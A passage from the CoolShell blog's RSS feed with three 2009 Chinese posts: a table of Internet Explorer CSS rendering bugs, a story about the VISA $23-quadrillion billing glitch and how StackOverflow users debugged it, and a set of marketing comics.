CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1252.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>6</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>IE的CSS相关的BUG</title>\n\t\t<link>https://coolshell.cn/articles/1245.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1245.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 12 Aug 2009 10:47:43 +0000</pubDate>\n\t\t\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Browser]]></category>\n\t\t<category><![CDATA[CSS]]></category>\n\t\t<category><![CDATA[IE]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1245</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>这个网页（http://haslayout.net/css/index）上例举了所有的IE和CSS相关的BUG。如果你在开发网页的时候，你需要看看。 目前，这个...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1245.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1245.html\">IE的CSS相关的BUG</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright\" title=\"ie-bug\" src=\"../wp-content/uploads/2009/08/ie-bug.jpg\" alt=\"ie-bug\" width=\"172\" height=\"172\" />这个网页（<a href=\"http://haslayout.net/css/index\">http://haslayout.net/css/index</a>）上例举了所有的IE和CSS相关的BUG。如果你在开发网页的时候，你需要看看。</p>\n<p>目前，这个网站上包含了 <strong>28 个“普通的Bug”</strong> ， <strong>4 个“布局方面的Bug”</strong> ， <strong>6 个“可以绕开的Bug”</strong> 以及 <strong>1 个“IE崩溃的Bug”</strong>，所有的这些Bug有39个指南和48个解决方法。这个列表目前更新到 <strong>2009年8月11日，19:50:22 </strong></p>\n<p>下面是所有的bug列表，你可以点击每个BUG名的链接查看更详细的说明。</p>\n<h4>普通Bug</h4>\n<p>这部分 <abbr title=\"Internet Explorer\">IE</abbr> 的 bug 是比较普通的无法归到其它种类，或是同时属于多个种类的Bug。</p>\n<p><span id=\"more-1245\"></span></p>\n<table border=\"0\">\n<thead>\n<tr>\n<th>名称</th>\n<th>IE的版本</th>\n<th>描述</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><a title=\"'Hover White Background Ignore Bug' tutorial\" href=\"http://haslayout.net/css/view?tut=Hover-White-Background-Ignore-Bug\">Hover White Background Ignore Bug</a></td>\n<td>IE7</td>\n<td>background 不会因为 :hover而改变</td>\n</tr>\n<tr>\n<td><a title=\"'IE7 Child Selector Comment Bug' tutorial\" href=\"http://haslayout.net/css/view?tut=IE7-Child-Selector-Comment-Bug\">IE7 Child Selector Comment Bug</a></td>\n<td>IE7</td>\n<td>一个 selector 包含了一个子的selector，如果后面跟着一个注释，则会被完全忽略。</td>\n</tr>\n<tr>\n<td><a title=\"'Star HTML Bug' tutorial\" href=\"http://haslayout.net/css/view?tut=Star-HTML-Bug\">Star HTML Bug</a></td>\n<td>IE6</td>\n<td>* html selector 在 IE6 中没有被忽略</td>\n</tr>\n<tr>\n<td><a title=\"'IE6 !important Ignore Bug' tutorial\" href=\"http://haslayout.net/css/view?tut=IE6--important-Ignore-Bug\">IE6 !important Ignore Bug</a></td>\n<td>IE6</td>\n<td>!important 关键字会忽略，如果有相同的属性被设置了</td>\n</tr>\n<tr>\n<td><a title=\"'PNG Image and Background Color Mismatch' tutorial\" href=\"http://haslayout.net/css/view?tut=PNG-Image-and-Background-Color-Mismatch\">PNG Image and Background Color Mismatch</a></td>\n<td>IE8 及以下版本</td>\n<td>背景颜色和指定的图片的颜色不一致。而他们本来是一致的。IE认为这是他一个Feature。太可笑了。</td>\n</tr>\n<tr>\n<td><a title=\"'No Auto Margin Center Pseudo-Bug' tutorial\" href=\"http://haslayout.net/css/view?tut=No-Auto-Margin-Center-Pseudo-Bug\">No Auto Margin Center Pseudo-Bug</a></td>\n<td>IE8 及以下版本</td>\n<td>如果把margins 设置成 <code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">auto</code> ，IE不会把组件放置在中间的位置。所有的浏览器都会，只有IE不会。</td>\n</tr>\n<tr>\n<td><a title=\"':first-line !important Rule Ignore Bug' tutorial\" href=\"http://haslayout.net/css/view?tut=-first-line--important-Rule-Ignore-Bug\">:first-line !important Rule Ignore Bug</a></td>\n<td>IE8</td>\n<td>如果在伪class  :first-line 内使用!important，那么其所有定义会被忽略。</td>\n</tr>\n<tr>\n<td><a title=\"':first-letter Ignore Bug' tutorial\" href=\"http://haslayout.net/css/view?tut=-first-letter-Ignore-Bug\">:first-letter Ignore Bug</a></td>\n<td>IE6</td>\n<td>整个:first-letter 的属性定义会被除数完全忽略。</td>\n</tr>\n<tr>\n<td><a title=\"':first-letter !important Rule Ignore Bug' tutorial\" href=\"http://haslayout.net/css/view?tut=-first-letter--important-Rule-Ignore-Bug\">:first-letter !important Rule Ignore Bug</a></td>\n<td>IE8</td>\n<td>如果在伪class  :first-letter内使用!important，那么其所有定义会被忽略。</td>\n</tr>\n<tr>\n<td><a title=\"'Partial Click Bug v2' tutorial\" href=\"http://haslayout.net/css/view?tut=Partial-Click-Bug-v2\">Partial Click Bug v2</a></td>\n<td>IE8以</td>\n<td>设置了整个区域是可以点击的，但在IE中只有文本可以点击。</td>\n</tr>\n<tr>\n<td><a title=\"'Staircase Bug' tutorial\" href=\"http://haslayout.net/css/view?tut=Staircase-Bug\">Staircase Bug</a></td>\n<td>below IE8</td>\n<td>浮动的元素排序起来就像一个楼梯。</td>\n</tr>\n<tr>\n<td><a title=\"'Disappearing List Background Bug' tutorial\" href=\"http://haslayout.net/css/view?tut=Disappearing-List-Background-Bug\">Disappearing List Background Bug</a></td>\n<td>IE6</td>\n<td>B &lt;li&gt;, &lt;dt&gt;, &lt;dd&gt; 没有背景。</td>\n</tr>\n<tr>\n<td><a title=\"'noscript Ghost Bug' tutorial\" href=\"http://haslayout.net/css/view?tut=noscript-Ghost-Bug\">noscript Ghost Bug</a></td>\n<td>IE8 and below</td>\n<td>&lt;noscript&gt; 标识中只有 borders/background 才有用。</td>\n</tr>\n<tr>\n<td><a title=\"'No Transparency Click Bug' tutorial\" href=\"http://haslayout.net/css/view?tut=No-Transparency-Click-Bug\">No Transparency Click Bug</a></td>\n<td>IE8 and below</td>\n<td>背景透明的图片在作为链接时，并且其“filter”被设置成了PNG透明，但其背景还是不可点击。</td>\n</tr>\n<tr>\n<td><a title=\"'List Drop Shift Bug' tutorial\" href=\"http://haslayout.net/css/view?tut=List-Drop-Shift-Bug\">List Drop Shift Bug</a></td>\n<td>IE8</td>\n<td>在&lt;li&gt;中的内容被换行了。</td>\n</tr>\n<tr>\n<td><a title=\"'No Increase on &lt;ol&gt; Numbers Bug' tutorial\" href=\"http://haslayout.net/css/view?tut=No-Increase-on--ol--Numbers-Bug\">No Increase on &lt;ol&gt; Numbers Bug</a></td>\n<td>below IE8</td>\n<td>&lt;ol&gt; 中的 &lt;li&gt; 列表序号不会增加。</td>\n</tr>\n<tr>\n<td><a title=\"'No Bullets on &lt;ul&gt; and &lt;ol&gt; Bug' tutorial\" href=\"http://haslayout.net/css/view?tut=No-Bullets-on--ul--and--ol--Bug\">No Bullets on &lt;ul&gt; and &lt;ol&gt; Bug</a></td>\n<td>below IE8</td>\n<td>在&lt;ul&gt; 和 &lt;ol&gt; 中看不到列表序号/数字了。</td>\n</tr>\n<tr>\n<td><a title=\"'No line-height Vertical Center on Images Bug' tutorial\" href=\"http://haslayout.net/css/view?tut=No-line-height-Vertical-Center-on-Images-Bug\">No line-height Vertical Center on Images Bug</a></td>\n<td>IE8以下版</td>\n<td>图片使用line-height 方法不能垂直居中</td>\n</tr>\n<tr>\n<td><a title=\"'No Background Image Bug' tutorial\" href=\"http://haslayout.net/css/view?tut=No-Background-Image-Bug\">No Background Image Bug</a></td>\n<td>IE8及以下版</td>\n<td>在IE中使用background无法定义背景图</td>\n</tr>\n<tr>\n<td><a title=\"'Custom Cursor Bug' tutorial\" href=\"http://haslayout.net/css/view?tut=Custom-Cursor-Bug\">Custom Cursor Bug</a></td>\n<td>IE8及以下版</td>\n<td>自定义鼠标不工作</td>\n</tr>\n<tr>\n<td><a title=\"'Leaking Background Bug' tutorial\" href=\"http://haslayout.net/css/view?tut=Leaking-Background-Bug\">Leaking Background Bug</a></td>\n<td>IE6</td>\n<td>背景从一个元件的内部溢出到外部</td>\n</tr>\n<tr>\n<td><a title=\"'Expanding Height Bug' tutorial\" href=\"http://haslayout.net/css/view?tut=Expanding-Height-Bug\">Expanding Height Bug</a></td>\n<td>IE6</td>\n<td>元件的高度比指定的要长得多。</td>\n</tr>\n<tr>\n<td><a title=\"'Expanding Width Bug' tutorial\" href=\"http://haslayout.net/css/view?tut=Expanding-Width-Bug\">Expanding Width Bug</a></td>\n<td>IE6</td>\n<td>元件的宽度比指定的要长得多。</td>\n</tr>\n<tr>\n<td><a title=\"'Double Margin Bug' tutorial\" href=\"http://haslayout.net/css/view?tut=Double-Margin-Bug\">Double Margin Bug</a></td>\n<td>IE6</td>\n<td>float元件的左和右的空白（margins）被加倍了。</td>\n</tr>\n<tr>\n<td><a title=\"'Negative Margin Bug' tutorial\" href=\"http://haslayout.net/css/view?tut=Negative-Margin-Bug\">Negative Margin Bug</a></td>\n<td>IE8以下版</td>\n<td>如果使用负数来指定页白（margins）里面的元件会被外面的元件所遮挡。</td>\n</tr>\n<tr>\n<td><a title=\"'Italics Float Bug' tutorial\" href=\"http://haslayout.net/css/view?tut=Italics-Float-Bug\">Italics Float Bug</a></td>\n<td>IE6</td>\n<td>float的元件中的字体会被设置成倾斜。</td>\n</tr>\n<tr>\n<td><a title=\"'3px Gap Bug aka Text Jog Bug' tutorial\" href=\"http://haslayout.net/css/view?tut=3px-Gap-Bug-aka-Text-Jog-Bug\">3px Gap Bug aka Text Jog Bug</a></td>\n<td>IE6</td>\n<td>下一个float的元件不是有一个3px的空隙，就是被换行了。</td>\n</tr>\n<tr>\n<td><a title=\"'Text-Align Bug' tutorial\" href=\"http://haslayout.net/css/view?tut=Text-Align-Bug\">Text-Align Bug</a></td>\n<td>IE8以下版</td>\n<td>text-align属性会影响整个元件内的所有内容。</td>\n</tr>\n</tbody>\n</table>\n<h4>布局类 Bug</h4>\n<table border=\"0\">\n<caption>\n</caption>\n<thead>\n<tr>\n<th>名称</th>\n<th>IE的版本</th>\n<th>描述</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><a title=\"'Border Chaos Bug' tutorial\" href=\"http://haslayout.net/css/view?tut=Border-Chaos-Bug\">Border Chaos Bug</a></td>\n<td>IE6</td>\n<td>连框显示是混乱的</td>\n</tr>\n<tr>\n<td><a title=\"'Sub-Hover Bug' tutorial\" href=\"http://haslayout.net/css/view?tut=Sub-Hover-Bug\">Sub-Hover Bug</a></td>\n<td>IE6</td>\n<td>一些selectors 如 a:hover foo{} 无法正常工作</td>\n</tr>\n<tr>\n<td><a title=\"'Partial Click Bug' tutorial\" href=\"http://haslayout.net/css/view?tut=Partial-Click-Bug\">Partial Click Bug</a></td>\n<td>IE6</td>\n<td>在定义了display: block的链接中(&lt;a&gt;) 只有文本是可以点的。</td>\n</tr>\n<tr>\n<td><a title=\"'Disappearing Content Bug' tutorial\" href=\"http://haslayout.net/css/view?tut=Disappearing-Content-Bug\">Disappearing Content Bug</a></td>\n<td>IE6</td>\n<td>当我们滚动窗口的时候，或是最大化最小化窗品的时候，有一些内容会重复显示。</td>\n</tr>\n</tbody>\n</table>\n<h4>不支持的功能</h4>\n<table border=\"0\">\n<thead>\n<tr>\n<th>名称</th>\n<th>IE的版本</th>\n<th>描述</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><a title=\"'No Child Selector Support Workaround' tutorial\" href=\"http://haslayout.net/css/view?tut=No-Child-Selector-Support-Workaround\">No Child Selector Support Workaround</a></td>\n<td>IE6</td>\n<td>子 selector 无效</td>\n</tr>\n<tr>\n<td><a title=\"'Max-Height Workaround' tutorial\" href=\"http://haslayout.net/css/view?tut=Max-Height-Workaround\">Max-Height Workaround</a></td>\n<td>IE6</td>\n<td>max-height 无效</td>\n</tr>\n<tr>\n<td><a title=\"'Max-Width Workaround' tutorial\" href=\"http://haslayout.net/css/view?tut=Max-Width-Workaround\">Max-Width Workaround</a></td>\n<td>IE6</td>\n<td>max-width 无效</td>\n</tr>\n<tr>\n<td><a title=\"'Opacity' tutorial\" href=\"http://haslayout.net/css/view?tut=Opacity\">Opacity</a></td>\n<td>IE8及以下版</td>\n<td>opacity 属性无效</td>\n</tr>\n<tr>\n<td><a title=\"'Min-Width Workaround' tutorial\" href=\"http://haslayout.net/css/view?tut=Min-Width-Workaround\">Min-Width Workaround</a></td>\n<td>IE6</td>\n<td>min-width 属性无效</td>\n</tr>\n<tr>\n<td><a title=\"'Min-Height Workaround' tutorial\" href=\"http://haslayout.net/css/view?tut=Min-Height-Workaround\">Min-Height Workaround</a></td>\n<td>IE6</td>\n<td>min-height 属性无效</td>\n</tr>\n</tbody>\n</table>\n<h4>程序崩溃 Bug</h4>\n<p>这个BUG可以导致整个 <abbr title=\"Internet Explorer\">IE</abbr> 崩溃。</p>\n<table border=\"0\">\n<thead>\n<tr>\n<th>名称</th>\n<th>IE的版本</th>\n<th>描述</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><a title=\"'Hover Crash Bug' tutorial\" href=\"http://haslayout.net/css/view?tut=Hover-Crash-Bug\">Hover Crash Bug</a></td>\n<td>IE6</td>\n<td>当你把鼠标移上 :hover 的链接时，浏览器会崩溃</td>\n</tr>\n</tbody>\n</table>\n<p>(全文完)<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/3013.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/09/biolab-150x150.jpg\" alt=\"一些非常有意思的杂项资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3013.html\" class=\"wp_rp_title\">一些非常有意思的杂项资源</a></li><li ><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif\" alt=\"Chrome开发者工具的小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_title\">Chrome开发者工具的小技巧</a></li><li ><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-150x150.jpg\" alt=\"浏览器的渲染原理简介\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_title\">浏览器的渲染原理简介</a></li><li ><a href=\"https://coolshell.cn/articles/8170.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/08/ajax_error-150x150.jpg\" alt=\"一次Ajax查错的经历\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8170.html\" class=\"wp_rp_title\">一次Ajax查错的经历</a></li><li ><a href=\"https://coolshell.cn/articles/7186.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/04/Green-Computing-150x150.jpg\" alt=\"做个环保主义的程序员\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7186.html\" class=\"wp_rp_title\">做个环保主义的程序员</a></li><li ><a href=\"https://coolshell.cn/articles/6913.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" alt=\"神奇的CSS形状 \" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6913.html\" class=\"wp_rp_title\">神奇的CSS形状 </a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1245.html\">IE的CSS相关的BUG</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1245.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>7</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>23,148,855,308,184,500</title>\n\t\t<link>https://coolshell.cn/articles/1242.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1242.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 11 Aug 2009 09:22:10 +0000</pubDate>\n\t\t\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Debug]]></category>\n\t\t<category><![CDATA[StackOverflow]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1242</guid>\n\n\t\t\t\t\t<description><![CDATA[<p> 上个月VISA信用卡出事了，某个美国人在加油站买了一包香烟，于是他的信用卡里就有了标题那个数字的钱“$23,148,855,308,184,500”，注意这可...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1242.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1242.html\">23,148,855,308,184,500</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script> 上个月VISA信用卡出事了，某个美国人在加油站买了一包香烟，于是他的信用卡里就有了标题那个数字的钱“$23,148,855,308,184,500”，注意这可以美刀啊，相当于美国整个国家国债的N倍。</p>\n<p>程序员们开始疯狂了，他们在stackoverflow.com上开始人肉debug这个问题（<a href=\"http://stackoverflow.com/questions/1133581/is-23-148-855-308-184-500-a-magic-number-or-sheer-chance\" target=\"_blank\">贴子</a>）。排名第一的回答（564 votes）说，这个数字转成十六进制是：0x2020 2020 2020 1250，很明显，前面的若干个0X20表示的是空格，也就是说，程序错误地处理了空格。于是本回答后的跟贴把这个回答推举成了本年度最牛的debug——&#8221;best debug of the year&#8221;，后面还有人说这个人应该在NASA工作，继而有人跟贴，应该是VISA而不是NASA……</p>\n<p>当然，也有人有不同的意见……</p>\n<p><span id=\"more-1242\"></span></p>\n<p>排名第二个贴子(仅有排名第一的零头 67 votes)发表了不同的意见，贴主说，VISA报道说当时全球在那个星期内发生了大约13000起这样的事情，而且，全世界在报道相似的事情（<a rel=\"nofollow\" href=\"http://www.credit.com/news/personal-finance/2009-07-18/customers-see-erroneous-credit-card-charges-of-23-quadrillion.html\">报道一</a>，<a href=\"http://www.1010wins.com/Visa-Accidentally-Bills-New-York-Teen--23-Quadrill/4867372\" target=\"_self\">报道二</a>），但所有的报道都是相同的数字——23,148,855,308,184,500。如果前面是空格，那么最后的一个字节是，0x1250怎么可能会是一样的呢？所以，他并不认为空格被解释了，他觉得一定是某个地方出错了，并不像一楼所说的那么简单。</p>\n<p><img decoding=\"async\" src=\"http://img44.imageshack.us/img44/8681/joshmuszynski.jpg\" alt=\"Josh Muszynski’s Statement\" /></p>\n<p><img decoding=\"async\" src=\"http://img265.imageshack.us/img265/38/jasonbryant.jpg\" alt=\"Jason Bryant’s Statement\" /> </p>\n<p><img decoding=\"async\" src=\"http://img34.imageshack.us/img34/6412/ronseale.jpg\" alt=\"Ron Seale\" /></p>\n<p><img decoding=\"async\" src=\"http://img193.imageshack.us/img193/4076/teenagegirl.jpg\" alt=\"Teenage Girl\" /><br />\n<img decoding=\"async\" src=\"http://www.wasecacountynews.com/files/image/article/full_3335.jpg\" alt=\"Elizabeth Lewis\" /></p>\n<p>为什么说这个事呢？主要有两个目的：</p>\n<ul>\n<li>其一、软件总是会有很多Bug要我们去debug，bug的症状并不代表着那就是Bug的原因，但通过Bug的症状推理出Bug的原因，有时候真是很像一个侦探要做的事情，从上面的这个故事中，我们可以看出这样的能力的重要性。要有这样的推理能力，需要有很强的基础知识，以及丰富的经验。</li>\n<li>其二、<a href=\"http://stackoverflow.com/\" target=\"_blank\">StackOverflow.com</a>是一个很不错的类似于“百度知道”但要比其好N倍的与编程相关的站点，相当的不错，你会经常光顾这个站点吗？</li>\n</ul>\n<p>最后，大家可以看看这个贴子后面的一些人的相法，各种说法都有，包括一个灌水的，来轻松一下：</p>\n<p style=\"padding-left: 30px;\">That&#8217;s the exact amount I intend leaving to my children after I&#8217;m dead.</p>\n<p>呵呵。（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/12/eBPF-150x150.jpeg\" alt=\"eBPF 介绍\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_title\">eBPF 介绍</a></li><li ><a href=\"https://coolshell.cn/articles/5075.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/07/Time-changes-in-year-1927-for-China-–-ShanghaiS-150x150.png\" alt=\"你确信你了解时间吗？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5075.html\" class=\"wp_rp_title\">你确信你了解时间吗？</a></li><li ><a href=\"https://coolshell.cn/articles/3721.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg\" alt=\"Stack Exchange 的架构\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3721.html\" class=\"wp_rp_title\">Stack Exchange 的架构</a></li><li ><a href=\"https://coolshell.cn/articles/2529.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg\" alt=\"StackOverflow的404错误页\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2529.html\" class=\"wp_rp_title\">StackOverflow的404错误页</a></li><li ><a href=\"https://coolshell.cn/articles/1719.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/11/Rubber-Duck-150x150.jpg\" alt=\"橡皮鸭程序调试法\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1719.html\" class=\"wp_rp_title\">橡皮鸭程序调试法</a></li><li ><a href=\"https://coolshell.cn/articles/1525.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"GDB 7.0 发布\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1525.html\" class=\"wp_rp_title\">GDB 7.0 发布</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1242.html\">23,148,855,308,184,500</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1242.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>6</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>几个有趣的漫画</title>\n\t\t<link>https://coolshell.cn/articles/1234.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1234.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 10 Aug 2009 10:44:10 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1234</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面的图片告诉你——行销，广告，公关，品牌有什么差别。 市场营销 公共关系(软文) 广告 品牌 那么，Apple，Google和你的公司的差别是什么呢？   最...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1234.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1234.html\">几个有趣的漫画</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script></p>\n<p style=\"text-align: left;\">下面的图片告诉你——行销，广告，公关，品牌有什么差别。</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2009/08/adcompare1.jpg\" alt=\"\" width=\"400\" height=\"262\" /><br />\n<strong>市场营销</strong></p>\n<p style=\"text-align: left;\"><span id=\"more-1234\"></span></p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2009/08/adcompare2.jpg\" alt=\"\" width=\"400\" height=\"264\" /><br />\n<strong>公共关系(软文)</strong></p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" title=\"adcompare3\" src=\"https://coolshell.cn/wp-content/uploads/2009/08/adcompare3.jpg\" alt=\"\" width=\"400\" height=\"264\" /><br />\n<strong>广告</strong></p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2009/08/adcompare4.jpg\" alt=\"\" width=\"400\" height=\"280\" /><br />\n<strong>品牌</strong></p>\n<p style=\"text-align: left;\">那么，Apple，Google和你的公司的差别是什么呢？</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2009/08/googleproduct.jpg\" alt=\"\" width=\"362\" height=\"700\" /></p>\n<p style=\"text-align: left;\"> </p>\n<p style=\"text-align: left;\">最后，让我们来看一个“真人版”的眼神跟着鼠标走的FLASH吧，单击下面的图片访问网站：<a href=\"http://cubo.cc/\" target=\"_blank\">http://cubo.cc/</a></p>\n<p style=\"text-align: center;\"><a href=\"http://cubo.cc/\" target=\"_blank\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-1240 aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2009/08/flashanimation.jpg\" alt=\"\" width=\"375\" height=\"371\" /></a></p>\n<p> </p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22398.html\" 